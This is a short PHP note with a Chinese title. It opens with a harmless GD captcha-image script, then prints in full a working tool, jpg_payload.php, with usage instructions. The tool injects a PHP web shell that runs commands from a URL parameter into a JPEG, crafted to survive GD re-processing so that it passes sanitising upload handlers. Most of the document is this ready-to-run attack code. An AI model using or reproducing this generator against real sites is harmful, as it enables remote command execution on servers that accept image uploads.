GD库验证码生成/渲染绕过

<?php

$image_back = imageCreateTrueColor(200, 200); //1、创建一个背景图像

$randText = rand(0,9) . " " . rand(0,9) . " " . rand(0,9) . " " . rand(0,9) . " ";

$fontColor = imageColorAllocate ($image_back, 255, 255, 255);	//2、设置绘图颜色
$BackColor  = imageColorAllocate ($image_back, 0, 0, 64); //3、分配颜色

imageFill($image_back, 0, 0, $BackColor);  //4、绘制背景

for($i=0;$i<5;$i++){
    imageLine($image_back, 0, rand(0,200), 200, rand(0,200), $fontColor);//画线
}


for($i=0;$i<50;$i++){
    $font_color = imagecolorallocate($image_back, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));    
    imagesetpixel($image_back,mt_rand(0,200),mt_rand(0,200),$fontColor);    //画干扰点
}

imageString($image_back, 10, 75, 100, $randText, $fontColor);  	//添加字串


//5. 输出图像
header('Content-type: image/png');
imagePng ($image_back);     //以 PNG 格式将图像输出
//6. 释放资源
imageDestroy($image_back);

---

绕过GD库渲染的webshell生成器：

用法：php jpg_payload.php 要生成的名字.jpg

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '<?=system($_GET[c]);?>';

	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) < 2) {
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>